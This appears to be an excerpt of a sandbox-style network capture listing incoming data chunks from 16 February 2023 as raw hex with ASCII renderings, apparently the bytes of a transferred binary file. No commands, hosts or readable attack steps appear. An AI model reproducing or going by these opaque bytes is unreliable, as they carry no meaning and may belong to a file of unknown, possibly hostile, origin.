2023-02-16 12:57:37 UTC	224	IN	Data Raw: e7 ce 0d a6 12 eb 5f 53 db ef 6f b1 f4 b0 73 cd 76 d2 01 0a b3 4b 20 fb bf 6b c6 75 29 b3 89 7b 27 f7 fc ee e2 5b 0f 58 c6 6e 1a d9 a9 a9 01 56 c7 57 8c 97 e4 e5 85 d2 df 8c 20 d3 fc 69 db f3 7b b3 cf d1 cd 9a 22 89 60 ec 92 dd 6a 31 d0 d8 e4 ae a5 c4 19 da c8 7e 66 50 70 8f 3f 0b 0a 5b b1 ff 70 a1 80 ae 1d df 4d 15 49 e5 b3 52 44 14 e1 8f 21 47 b7 ff 4b 3f e5 7c 38 90 8f 1e 67 da b6 74 61 12 04 5f c4 58 d2 27 22 fe b4 a0 be bf 9b 6b a5 37 c2 8a cc a4 36 6e b2 37 0c 42 42 80 d6 05 49 61 96 4f 5b 86 87 e5 43 63 e7 d1 28 f0 cb 90 a8 92 0a 4d 83 71 5a cd 88 78 98 ed ea 0e 90 f7 bb 52 aa 11 d3 38 90 1f 8c 9f 3c 31 d0 88 62 e2 a1 06 74 1a 18 03 c9 46 b3 b1 2d 87 c5 b9 df 30 e7 fb b8 80 ef ff 1c ae 0b 99 8d 75 f0 32 6a 77 90 87 87 db b6 1f cf 11 a6 8a f6 89 43 Data Ascii: _SosvK ku){'[XnVW i{"`j1~fPp?[pMIRD!GK?\|8gta_X'"k76n7BBIaO[Cc(MqZxR8<1btF-0u2jwC
2023-02-16 12:57:37 UTC	240	IN	Data Raw: a8 3d 1e e5 88 06 57 84 2d 98 5a 6e 6e 25 63 80 f3 c1 8b 33 47 36 7a 66 01 9f 16 61 56 48 1f 16 6e 0f a3 01 52 79 73 e4 b2 0d 22 d1 00 c4 a1 07 e0 cf 5a a8 97 4b 24 51 b4 86 8f b3 03 eb 93 0f de 63 0e d0 33 b9 3a 2a 6a 7f 6c da 85 21 3e 20 96 a0 3a 6e b9 18 df e5 77 07 d8 20 59 87 29 13 4b 5b 15 b3 ff 8f 24 bd dd a4 78 b0 32 11 e2 37 f8 73 2c 6a 46 66 66 f1 d0 28 f2 ec 0e d6 a9 99 18 30 5d bb 58 1f 41 a4 fe 5c 47 ef fa 75 ed bd af d9 a6 ce 4c f3 30 26 66 09 b2 5b ca 45 42 0f 67 95 18 84 c9 1d 6c 5d df a0 b3 0f 7d 45 1e 8d b2 07 e0 4a 96 81 ac e4 2c 97 f1 88 e8 ff d0 84 0b aa 53 b2 80 62 46 2b b2 7d 82 22 ec cd 9c 98 d8 ad 3f 81 fc c4 3d 04 b6 99 2f 21 1b 66 c1 47 c0 28 cb 55 b5 72 07 46 1c 4e e9 06 ae 40 b9 88 3f 1f 71 c2 1b b4 92 10 c4 96 c3 92 be 1c 3a Data Ascii: =W-Znn%c3G6zfaVHnRys"ZK$Qc3:*jl!> :nw Y)K[$x27s,jFff(0]XA\GuL0&f[EBgl]}EJ,SbF+}"?=/!fG(UrFN@?q:
2023-02-16 12:57:37 UTC	256	IN	Data Raw: 40 f3 0e 0a 28 f7 25 49 68 4a 1e 4d c0 be 1e d1 31 a7 7d b8 53 92 84 0c 08 f3 65 49 49 ee 60 ae 30 f8 17 37 7b 2b 5f e7 67 6d 62 dc 66 ec 0d 9d 90 06 d4 48 41 a3 50 46 59 89 80 5b 57 91 e1 8c dc cd 94 84 a9 07 88 56 1d 81 42 e4 5f 58 c0 84 64 fd 2d f0 b0 a3 98 51 42 ef 40 c0 6f 70 e9 72 60 17 85 14 9b ae f8 05 dc 76 1b f0 9e 5a 20 42 16 b2 56 fa 03 b9 df 0a 89 4c 0f 0d 10 5e 93 b9 4d 0b be bc 7c d8 ec f7 3c 3c 4b 1e 6d 0d 7a df 7d 08 24 74 bf 9b 67 dc a2 a5 d7 36 e9 2c 42 4d 2f 36 c1 7b c8 c2 9e eb 63 d0 bf 2e a8 90 a9 8f cf 05 43 26 d2 c0 77 69 ba 6d b2 8a 67 43 75 a5 67 ed be ec 43 92 f6 85 de fa eb 90 68 2e 63 33 25 85 72 2c a2 19 bd e3 42 4e a8 c6 4a d9 ff ee dd 81 cc 01 ae d5 42 de 32 8a 3d 1c 63 d5 3d c2 12 09 d7 16 99 4c 56 b3 ed 51 7a 4b 3d 01 03 Data Ascii: @(%IhJM1}SeII`07{+_gmbfHAPFY[WVB_Xd-QB@opr`vZ BVL^M\|<<Kmz}$tg6,BM/6{c.C&wimgCugCh.c3%r,BNJB2=c=LVQzK=
2023-02-16 12:57:37 UTC	272	IN	Data Raw: b9 35 51 b0 b2 09 d3 f3 91 c8 ff 94 10 dc 88 04 94 b7 c7 ac 91 bd 3f 14 47 f1 85 98 8a ee 76 bd 63 b4 ea f8 f3 2b 20 3d 08 76 cf e4 f5 f1 21 db 24 60 61 34 09 55 24 da 48 ed 44 24 ad f3 31 7b d8 34 c3 05 e3 69 bf b0 75 46 18 79 c3 63 97 4b f7 98 07 ce 1e 70 de 00 ac 9b 2d 8c 30 77 09 14 d6 83 89 f7 bf 0a 2f 87 a6 ea ce 0e 6d b7 b8 08 e4 2f a0 ab 5c 3a eb 7e 2d 95 6d 8a 24 54 c7 d2 af 3b 39 25 e5 53 14 27 7e b6 a8 24 14 55 60 bb 15 2b 73 77 38 f8 44 de ad dc 6c d7 4c f8 37 0a e0 be 91 1e 60 a1 e0 75 61 88 0b 3b 13 ad 14 49 53 9e e8 c4 e6 d2 35 bb c8 71 da 4d a9 64 b7 97 73 1c 4e 55 67 d2 77 ee e8 36 22 30 f7 67 87 5c 90 bc 3d a1 d0 0d 81 1d 3e cc 7e d0 ea bf 84 60 8c ed bd 3a 53 8e 82 9b 4f 47 61 cb 89 60 8d b0 5f 2f 93 c6 54 23 1f 4b a5 b9 38 fb aa 92 6b Data Ascii: 5Q?Gvc+ =v!$`a4U$HD$1{4iuFycKp-0w/m/\:~-m$T;9%S'~$U`+sw8DlL7`ua;IS5qMdsNUgw6"0g\=>~`:SOGa`_/T#K8k
2023-02-16 12:57:37 UTC	288	IN	Data Raw: 72 5c 80 3a 82 e2 0b 49 be d0 f7 be cf 7b c9 30 ee f8 ee a8 10 0b 90 28 f9 99 1a 32 c7 f1 22 25 fc c5 4f 0d 00 72 af 2c 56 96 05 9b 38 6f 15 ac 5e 95 4d f8 26 96 9a 10 8c d5 1a 5c 44 18 e4 f1 cf 00 44 77 18 2a dd 33 1c af 0a c8 6b 54 e5 c1 3d 34 f9 62 ae 41 be 93 5f 92 9e 2d e5 cc 50 1f 31 ec dc 7a a7 36 ae 62 57 2f cd 1e 01 a1 fa d9 8f ee 1a fb 67 2a 60 58 0e d0 2b 70 ab 08 20 a2 ce 74 fd 06 a3 95 a8 a7 82 d4 4d dc 27 c4 09 8f e6 92 48 0c e8 16 70 76 47 63 76 c0 a6 42 8f 6c 31 83 ec 87 c1 a5 5b b5 f8 8c 72 80 6b e4 1d 4f 3c 92 b3 9e 50 e9 d1 0b df 59 bb 22 b1 ac 79 c6 69 7b 74 03 75 89 0b f4 53 a8 11 91 35 a2 00 e0 33 0f 82 19 bb bd 94 30 f0 fb af 48 d6 e4 62 1c 1a 08 53 67 62 68 a8 5f 54 1f 65 51 92 d6 8d e7 7b 5e 67 02 fc b6 43 a5 c5 df 4c 3a 56 d5 e7 Data Ascii: r\:I{0(2"%Or,V8o^M&\DDw3kT=4bA_-P1z6bW/g`X+p tM'HpvGcvBl1[rkO<PY"yi{tuS530HbSgbh_TeQ{^gCL:V
2023-02-16 12:57:37 UTC	304	IN	Data Raw: 76 30 4d ed a8 0f 79 0e d8 d0 d1 77 de ac 1d 1a 38 06 fa 88 d9 f6 a4 40 bb 84 4a 87 f2 95 41 5d 42 20 e7 2b 22 3a 9d 9c a6 c7 97 9a 64 ae 82 0b 6b 32 b5 c3 60 8d 7e 01 a9 97 a7 60 90 76 8d a7 95 8b 37 7e 0e f8 b2 2b 59 20 9f cf 1c d8 a9 50 5e 91 45 1c 99 83 9f 0d 34 ac 27 6c 66 40 b6 83 bd 6c 85 f2 b5 e4 a4 c1 83 47 02 83 b2 ad 39 05 30 57 6b 6e 73 3b 4f 27 d9 4f 86 e4 c9 c6 b5 e8 c5 47 5a 08 a7 a6 2b 7a cd 71 45 8d 56 ab 0b de e0 31 7d 29 79 ba e3 d8 d6 71 37 78 50 73 35 d5 80 62 be a5 a3 cc 1a 4e 97 8c 4d 5c 7e 15 c1 96 bd 2a d2 1c 58 57 be 25 7c 5c 1c 81 14 c4 08 13 7a 4f bc d2 8c 86 27 c2 cc 5b 4c 13 9d e9 ee af 69 93 01 a3 91 77 46 d6 dc a3 17 ca 0d 87 d1 39 4a df 31 47 37 21 8a 5d 5e 33 27 25 31 37 d2 ae 17 62 07 3f ba b6 9b 10 7b 81 75 5c d2 78 03 Data Ascii: v0Myw8@JA]B +":dk2`~`v7~+Y P^E4'lf@lG90Wkns;O'OGZ+zqEV1})yq7xPs5bNM\~*XW%\|\zO'[LiwF9J1G7!]^3'%17b?{u\x
2023-02-16 12:57:37 UTC	320	IN	Data Raw: b6 77 17 ad 7a fc fd c4 cd 9e b8 e5 87 6c 19 7e 70 6e ec 37 d6 27 41 c7 36 7f 84 3d 83 79 a2 95 0d 44 95 9a 8e 26 a4 4f e5 8b 6a ba a8 99 22 a1 37 ef c2 41 1a 5b 3b d1 9d 52 ac 55 b0 51 a6 8c 5c d8 bf 84 15 94 46 b3 a7 c6 22 51 21 a2 0b 44 49 ec 87 51 13 b7 28 f8 c9 46 8c 63 44 d2 20 99 a1 04 35 9a 61 58 ba 8e 03 fb 8c 03 74 5c 77 7e 5e 20 ec 27 66 2e ea e9 78 f6 b1 51 09 9f c1 12 89 25 dc db 26 32 bc 5d 63 c9 cc 7e 95 de 65 4c 0f ff a3 7f 72 03 ef cc fd 94 f8 f3 72 ee 61 15 2c d6 32 2b 9b 83 27 be a7 23 10 7f 19 07 c3 58 35 1e 8d 3d d6 e7 a1 3c 7a ef 79 2a 29 6e 6f 4c 6e d1 13 80 31 f6 87 ec 2a 1e 10 a0 ee 54 0c 09 95 55 47 ba 87 a5 65 17 fc dc a7 e1 35 0f 5f d6 c2 e1 bf 9f 3f 62 c9 9e ba e4 62 89 3d 2f f7 5c 32 ca 11 dc e0 22 76 82 31 4f 03 44 d7 a9 ee Data Ascii: wzl~pn7'A6=yD&Oj"7A[;RUQ\F"Q!DIQ(FcD 5aXt\w~^ 'f.xQ%&2]c~eLrra,2+'#X5=<zy)noLn1TUGe5_?bb=/\2"v1OD
2023-02-16 12:57:38 UTC	336	IN	Data Raw: 96 c0 da 72 ca 5d f6 a8 d4 55 3b e8 21 00 49 74 e3 97 b3 29 ab e9 7f bf 11 3c e6 b8 15 5a 67 a7 5b e5 f3 fe 91 3b f0 4e b2 d6 69 4c 03 22 c0 b9 73 3c 65 c8 52 68 93 87 aa b6 8a 41 5d 18 d5 b0 8c 11 19 c6 a9 89 b0 16 13 38 61 d3 cc f8 23 09 89 e6 f3 d9 0b 8b df 42 fe 91 e8 45 a2 e0 76 6b 31 cf 54 9f 1a 14 b4 a1 82 36 01 fd 85 7a dc 5e d0 61 40 d5 54 48 11 7b 0d 43 b2 12 0d 5c 0d 8f 8e ca f9 be 6f d5 2d ab 72 10 5d bb 75 3e 19 00 85 6e 42 65 a6 6e b8 fd d8 16 cc 43 4a 86 e9 c7 3f e7 b9 d1 33 50 cf db cd 40 9a c4 42 ee 15 f3 b8 2a 7b 02 ac 02 68 b1 1b 93 c4 dd 76 e3 81 00 83 f0 f6 fd 0d 47 f2 dd 7b 19 8e 70 d3 8f bf 67 8a ec f0 0e 15 3d 9b b5 b6 aa cf 56 37 c8 8a 96 2f e7 6e d3 e3 e8 d4 29 4c 71 fa a4 a4 e0 4d 4e 1f 3e ef 1f a0 88 69 b2 00 c3 55 6c 6b c2 a9 Data Ascii: r]U;!It)<Zg[;NiL"s<eRhA]8a#BEvk1T6z^a@TH{C\o-r]u>nBenCJ?3P@B*{hvG{pg=V7/n)LqMN>iUlk
2023-02-16 12:57:38 UTC	352	IN	Data Raw: 31 47 d6 12 dc 80 6a 9d 36 92 84 b9 c6 eb f9 44 77 de 1f 5a 5b be 94 9b 31 52 51 fb 3b 4f fc 30 4f a6 c6 2d b1 fe 53 8f 0d a5 b6 87 e3 0c 07 b2 d4 c7 4c e8 04 31 f5 48 b2 f5 ca 2f 8f 40 d5 aa 99 8a 2f 47 22 ef df 28 ba 89 2b 5f 48 9a ac 47 13 d6 36 f3 eb 1e 5f 6e b8 29 b8 e1 57 96 00 40 03 46 0b 13 c8 ae 32 58 7f dc fc d4 15 fe cd 14 bc 80 b2 36 6e f4 d8 14 43 9f 02 ca 97 04 99 e0 0d 26 cf ad b2 ff 89 f7 ad 22 94 2a fe 0c 34 cf 3e cd b4 72 b6 9b fb 0f b6 7d e6 aa b5 2d df 93 4e bc ae 9d ab 7d 4e d8 30 5d 63 55 b8 78 07 b2 a2 20 de a9 6f 40 7e 9e bc b8 78 ea fc 40 6d c9 b5 7d b7 62 cb 2c cd 35 2a 90 e5 e8 f4 24 fa c0 13 da 04 a1 f6 02 03 b3 2c f1 8e e1 8a 12 63 93 d6 12 47 f8 03 24 37 ef 10 96 bb 34 43 53 7c 4f b2 60 2e 53 ab f4 dd e3 d7 80 69 0f ac a3 12 Data Ascii: 1Gj6DwZ[1RQ;O0O-SL1H/@/G"(+_HG6_n)W@F2X6nC&"4>r}-N}N0]cUx o@~x@m}b,5$,cG$74CS\|O`.Si
2023-02-16 12:57:38 UTC	368	IN	Data Raw: d0 09 16 03 60 54 5f ca c8 ea ed 1d d7 0c 13 20 95 53 61 14 8f 07 b1 6c 74 54 bb 73 c2 33 50 63 ea d5 1e ed d2 3e 26 7b d3 42 a9 6c d6 27 84 12 9d 59 bb 58 8f 51 60 4a 26 3e b9 fa 3d 2f 48 34 ab 98 7b f8 4d 3f 53 75 8e f4 e4 51 b1 a2 ef d0 fc b0 8e bf a4 d1 1d 25 00 78 b0 56 16 8f ea 27 21 57 ef 9c 42 7a 03 c0 13 52 c9 4e 5d 55 c5 b9 dd d8 aa ff 65 8f 81 24 57 f6 25 13 81 1d d3 17 04 a6 81 a2 48 8e 03 e7 40 a5 4c 7c 42 e4 f6 50 ff f4 13 6d b3 16 c2 95 e1 19 0d 2c 79 6c c3 2f 4c 4a ea d4 ce cb bf ca 0d 44 f0 2f 91 7b 59 6b d4 65 df 73 60 a1 aa 23 e7 7a be db 1d 89 97 a4 a1 ba 6f fc 07 8c 24 22 51 ed d1 90 94 57 a6 5a 51 55 b7 37 70 04 19 56 1f 9d a3 e2 50 d0 d2 14 d0 d2 8b 0b 7d c1 47 10 1a 9d c3 53 af 36 3e 1b 20 58 e3 a4 cf 89 a2 de c2 e7 68 90 be f4 da Data Ascii: `T_ SaltTs3Pc>&{Bl'YXQ`J&>=/H4{M?SuQ%xV'!WBzRN]Ue$W%H@L\|BPm,yl/LJD/{Ykes`#zo$"QWZQU7pVP}GS6> Xh
2023-02-16 12:57:38 UTC	384	IN	Data Raw: 97 0f 6a aa 17 06 b9 8b 2b 96 61 35 00 3e c2 13 fe ec 0b b4 60 bf 4e dd a2 27 68 bb 00 3f 86 25 d8 2e df e5 77 ed 1f c2 98 7e 68 c8 40 da ff 8c 1c 36 6c 0a b3 64 70 c5 8e 24 80 85 be 23 92 ac 2f 50 1f 28 08 17 bc 9d c5 e2 49 1f a5 a2 90 9a c0 38 5c 45 d1 4d 76 aa b7 51 28 3f 18 19 fb 30 da 12 3c 69 8e ca fc da 93 a3 20 8d 75 78 c5 d2 23 70 f2 ad 8d 4e af c0 0f f5 7b fa 24 35 10 a9 7c 0f bb 05 49 e8 c0 eb d7 16 5e 7a 77 72 91 4d ef f8 b3 2a 2b c1 b8 f1 fe 82 6a 7a 30 4b 0b 90 38 2c 3a 77 6a 60 46 23 62 39 90 a4 80 03 be 0f a6 ff f3 41 97 ab 3e 6c d9 65 29 f6 42 6e 0e 17 e3 c3 aa d6 1e 25 e0 32 f7 fb c5 61 21 e9 f9 50 03 06 dd 95 ad 1d c8 c5 9a cf 75 ce 8a be d2 1e d0 de 1b de c1 db 59 85 38 a9 af 52 a6 d8 41 6e f7 5c 16 2a 93 96 ce 97 46 3a 52 75 01 0c 51 Data Ascii: j+a5>`N'h?%.w~h@6ldp$#/P(I8\EMvQ(?0<i ux#pN{$5\|I^zwrM+jz0K8,:wj`F#b9A>le)Bn%2a!PuY8RAn\F:RuQ
2023-02-16 12:57:38 UTC	400	IN	Data Raw: 91 2f f6 c4 98 48 1c a0 67 2f 8c 5c f5 b8 63 c7 8a 55 42 d4 43 1e 23 5f b3 86 a4 58 4e bd 14 ba a9 0d e0 88 93 65 ea 06 d6 f7 ee 31 c0 a9 74 07 34 12 6b 53 26 bc 84 95 e6 d5 f7 6c f0 57 fa ab d9 45 8e 83 5b b7 84 a6 d1 b1 7c b5 87 5c f7 1d 20 7c 54 99 af 2c 8b 90 e8 6b ae cb ea 73 76 f5 cf 75 ef f2 7b d5 fb 95 7f 7f 35 f1 be 90 98 e1 55 ec 5d f6 c0 3e 5f 62 61 d0 cf 0b 8e 61 a4 de 13 16 30 7f d4 89 03 f1 8e 16 ea cc fd 95 a9 e3 42 86 86 e7 1e d7 9d 94 b0 a4 00 01 b8 1d d7 e3 88 ed 05 6e 6c 4a 4f 77 e0 d1 b0 d6 45 f7 5e bd f2 7c 7f e5 e2 bf ef b9 4a bc ec 3b 9a c2 7d 01 95 2a 8c 18 21 ca 38 2e 32 9c e0 fd ad ee b2 62 fa 77 ef 96 6a 52 50 92 a2 02 f2 36 70 86 75 b2 39 13 f3 0f 13 65 7a 80 b0 d1 cd f5 bd 12 a7 00 23 4e 8d 81 00 4e 07 68 c6 cf f1 6d 92 d8 96 Data Ascii: /Hg/\cUBC#_XNe1t4kS&lWE[\|\ \|T,ksvu{5U]>_baa0BnlJOwE^\|J;}*!8.2bwjRP6pu9ez#NNhm
2023-02-16 12:57:38 UTC	416	IN	Data Raw: e0 47 0a da 30 41 21 65 77 d2 64 0c d5 fb 29 21 52 8c 5a 33 46 fa ae fe ca b2 dd 52 73 4b c1 9c c9 aa 18 07 50 44 8a a3 10 e3 4d 6a 79 d4 22 b2 f4 4e 0d fb b0 ea 6c 64 17 52 0b ff d4 bb 36 f9 e1 f0 e4 e5 de 7e 55 ee b4 92 e5 1e 74 cb 53 83 56 ad 11 3f a2 71 b7 9c ce 44 72 69 d8 6e b5 31 bf 48 fb 20 7f 64 c4 c3 00 a0 0d 6c d7 14 8d 4c 38 ef 83 69 29 59 1e e5 73 42 af 51 9b c3 8c 1d 80 44 67 24 d1 17 fa fa b3 9a 3c 5b ed bd 57 b3 3b 79 6b 83 f5 63 73 48 66 f2 3f 9f f3 2b 17 ce 85 ea 10 03 f3 0c 48 7c 69 02 ee 44 0b cc e0 65 bb a8 c7 ab 2c 4d 18 80 43 36 d4 ed fe 2f 54 d7 4e bc 96 89 cd b7 6e 74 96 4b 32 b9 49 2b 42 0e a7 31 f1 de 19 ea c3 6e ef 04 8a b6 87 89 1e a4 ef b2 cd 21 db 8f 57 c0 cf ee fc 1e 44 10 91 c4 fa d8 b1 a7 c6 0d 69 41 af 54 8d 7b f9 df 03 Data Ascii: G0A!ewd)!RZ3FRsKPDMjy"NldR6~UtSV?qDrin1H dlL8i)YsBQDg$<[W;ykcsHf?+H\|iDe,MC6/TNntK2I+B1n!WDiAT{
2023-02-16 12:57:38 UTC	432	IN	Data Raw: 25 d2 b7 07 4a 56 73 aa 27 ad c8 a5 87 ba ab 9a 7e 78 df 7a a5 7f 35 03 3e 40 22 d7 4f 1f 30 17 94 03 5b 62 d8 d4 e7 83 62 a1 03 ce 05 fb ed 33 85 ce 9d f4 dd be 8a d0 d4 9a 8c 92 ee 4b cf fb 2f 53 97 a8 c2 f0 6a c7 9f ef 59 70 10 f3 02 7e 34 4c ac dc 94 83 9c 2e aa 87 81 dc a5 61 a4 b6 74 2e 53 b8 1c a1 87 59 c4 7c b8 3a 2d 75 c8 dc 23 c4 a0 2c d9 f8 d6 49 48 14 82 f9 3f 85 c6 30 10 9a 07 24 72 b6 88 b0 8c 43 e1 db c0 36 b4 41 cc a3 7f 58 90 72 4f 30 cf 5b 17 13 fd ab d8 08 f7 bd f6 0d a5 4e cc 92 6e aa b7 9a e4 84 2f 8f a8 91 d5 c0 72 68 26 a5 13 1c 08 6c 9d 4a 12 39 5f 0a 53 49 5a 4e bb 51 fc ab b3 39 7b e1 f4 7f a2 95 92 f4 32 09 b9 d1 3d 20 83 48 a1 d2 3c 7a 96 77 30 67 3f 28 f9 a8 1a f7 a3 3a c2 8f e7 63 72 23 e7 3e 45 83 3f 33 b4 ba 3c 21 1d 63 66 Data Ascii: %JVs'~xz5>@"O0[bb3K/SjYp~4L.at.SY\|:-u#,IH?0$rC6AXrO0[Nn/rh&lJ9_SIZNQ9{2= H<zw0g?(:cr#>E?3<!cf
2023-02-16 12:57:38 UTC	448	IN	Data Raw: 03 66 07 c4 14 c5 61 68 7f 4f 27 4e 48 54 ea 7a 9f 53 85 5d 41 e7 78 59 6d 62 68 93 e3 b9 06 da bb 34 8c 6b 8e 0c 0b 21 00 d5 d7 d9 d5 29 64 6a 42 3a d5 fb 21 94 0d d4 0f e5 43 74 ec 05 4d 13 c8 a2 62 ec 13 a9 95 3e d4 4d 3b 67 63 92 ab 86 58 de 4e ea 34 9d 72 4c d6 42 75 fc 49 e6 62 d8 1f 28 25 1a a5 8e 86 d6 af 34 94 96 84 1a f6 60 d4 0a 1a e3 15 a3 a4 28 5e 15 be 4f ee 56 dc 2c 29 55 e6 4b 8c b0 45 3f ae 1e c3 65 29 56 7f 4d 99 20 4d d7 47 7b 50 fc 6f f4 fd 5d 6b 84 63 bb 45 40 2d 18 65 31 7f 15 a1 fb ff 22 ca 92 3a 6d 84 a6 14 a0 70 28 f4 18 53 85 14 50 aa 9d f0 de 42 0d fb d4 e6 68 cb 28 1f be 81 b8 bf 66 ce 1e 96 ce 0e 9b 4d 7b 18 48 6c 7f 4a 60 bc 31 5a b0 54 dd 2c ac 2c 8a 88 45 d7 bb 79 16 a7 48 b9 88 68 a2 a0 b7 42 d8 5b 9b 25 6e 62 43 50 f5 22 Data Ascii: fahO'NHTzS]AxYmbh4k!)djB:!CtMb>M;gcXN4rLBuIb(%4`(^OV,)UKE?e)VM MG{Po]kcE@-e1":mp(SPBh(fM{HlJ`1ZT,,EyHhB[%nbCP"
2023-02-16 12:57:38 UTC	464	IN	Data Raw: 00 00 00 00 01 00 29 04 00 00 78 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 88 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 b8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 c8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 08 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 18 05 00 00 00 Data Ascii: )x))))))))))
2023-02-16 12:57:38 UTC	480	IN	Data Raw: 80 7d 7f 7f 7e 7f 80 80 7f 7e 7f 80 81 7f 81 83 7e 7f 7e 7f 81 7f 7e 80 7f 7e 7e 81 7f 74 7f 7f 80 80 80 7e 7f 80 81 7f 85 7f 81 80 7f 80 81 81 80 7f 81 7f 80 7f 80 7f 80 7e 7f 81 7f 80 80 7e 7f 80 80 81 7e 7f 80 80 7e 7f 81 80 7f 7f 7f 81 7f 80 7e 80 7f 7e 7f 7f 7f 80 80 80 7e 81 80 81 81 7e 7f 80 81 80 81 81 7f 7f 80 80 7e 81 81 7e 7e 7e 7e 81 7f 81 7f 81 7e 7f 7f 81 80 80 80 7f 81 80 7e 81 7f 81 81 81 7f 80 7f 80 7f 7e 7e 81 7e 7e 7f 7e 7e 84 7e 7f 7e 80 00 00 00 00 00 00 00 00 80 80 7f 81 7e 7e 7f 7f 7e 80 7f 80 7f 80 7e 81 7f 7e 83 80 83 7f 7f 7f 7f 7e 80 81 7e 80 80 7e 80 7f 80 78 81 80 80 7c 7f 80 8a 81 00 00 00 00 7e 80 80 7f 81 82 7e 7e 7e 80 81 7f 7f 80 81 7f 7e 7f 80 81 81 80 7f 81 80 80 7e 81 80 81 7e 80 81 7f 7e 7f 7e 7e 7e 7f 7f 80 7e 81 7f Data Ascii: }~~~~~~~t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~x\|~~~~~~~~~~~~
2023-02-16 12:57:38 UTC	496	IN	Data Raw: 50 76 dc ec e0 ec 3e 3e e4 9a e4 ab de b2 7b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b b0 c5 46 e2 b1 0d 3b 3b 1f 3b e9 6b 46 69 e0 9a e9 e2 71 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 66 71 20 25 c1 50 76 6f 6f c1 7a 76 65 d8 4e 65 14 e1 05 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b cd 42 17 ef 16 d8 1a 3d 16 14 49 7c 14 38 49 47 47 17 27 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b aa 1f 62 49 a4 e3 dc 6f 94 4a 68 1a 6f 49 1b a4 ef b8 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 27 9a 6f 10 10 68 ec d8 5c 09 5c 4a 7a ee 24 10 76 92 cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b a3 9a ef 5c 9d 81 ec 38 02 5c 95 16 6f 95 95 92 6f 3c cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 27 17 1a 5b 2d b9 3d 38 82 2d 5c 7c 6f 09 3c 3a 14 f9 cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 9b 17 Data Ascii: Pv>>{F;;;kFiqfq %PvoozveNeB=I\|8IGG'bIoJhoI'oh\\Jz$v\8\oo<'[-=8-\\|o<:
2023-02-16 12:57:38 UTC	512	IN	Data Raw: 80 7d 7c 81 80 7c 84 7f 82 7f 80 88 84 75 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 83 7c 7e 86 7e 7e 7e 00 00 00 00 00 00 00 00 7f 7a 80 75 81 7c 7d 7a 7c 7b 83 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 7f 7c 7b 7d 7a 7d 7e 7d 81 84 7c 80 79 81 7e 7c 84 7b 80 7a 7d 7b 7b 81 7f 83 7f 85 81 7b 80 81 80 80 7b 7b 7f 7d 81 7f 82 7a 7d 7f 7b 84 7b 7f 83 7b 81 82 85 7f 81 82 7c 7c 80 7d 82 7f 7e 7f 7d 7c 7b 82 7d 80 81 7f 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e Data Ascii: }\|\|u\|~~~~zu\|}z\|{y\|{}z}~}\|y~\|{z}{{{{{}z}{{{\|\|}~}\|{}~~
2023-02-16 12:57:38 UTC	528	IN	Data Raw: 7e 81 7f 80 86 7f 7e 86 7f 80 81 80 81 7f 7e 7e 81 7f 7f 7e 80 80 80 7f 80 81 7f 81 81 84 80 7e 7f 7e 7e 82 80 82 80 7f 81 81 80 7f 7f 80 7f 80 80 80 80 7f 81 7f 80 81 80 80 7e 80 7f 7f 7f 80 80 83 7e 7f 7f 7e 7f 81 86 7f 81 80 83 81 7e 7e 97 90 80 81 81 80 80 80 80 7f 7e 7f 7f 7e 80 80 80 7e 81 81 80 83 7e 81 7e 81 80 80 7f 7f 7f 80 7f 80 7f 7f 7f 81 7f 7f 7f 81 7e 80 7f 83 80 7e 7f 87 7f 80 7f 7f 7f 7e 7e 7f 80 80 7e 8d 7f 7f 80 7f 80 7e 7e 7e 7f 82 7f 8a 7f 7f 80 7f 7f 7e 7f 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 7f 81 80 81 7f 81 80 81 80 81 7e 80 80 80 7f 7f 7f 80 80 80 80 7f 7e 7e 80 81 7f 80 7f 7e 81 80 80 81 80 7e 7e 7e 7f 81 7e 7e 7f 7e 81 7f 81 80 80 7f 7f 80 80 7f 80 80 80 81 7f 80 81 7e 80 7f 7f 7f 7e Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
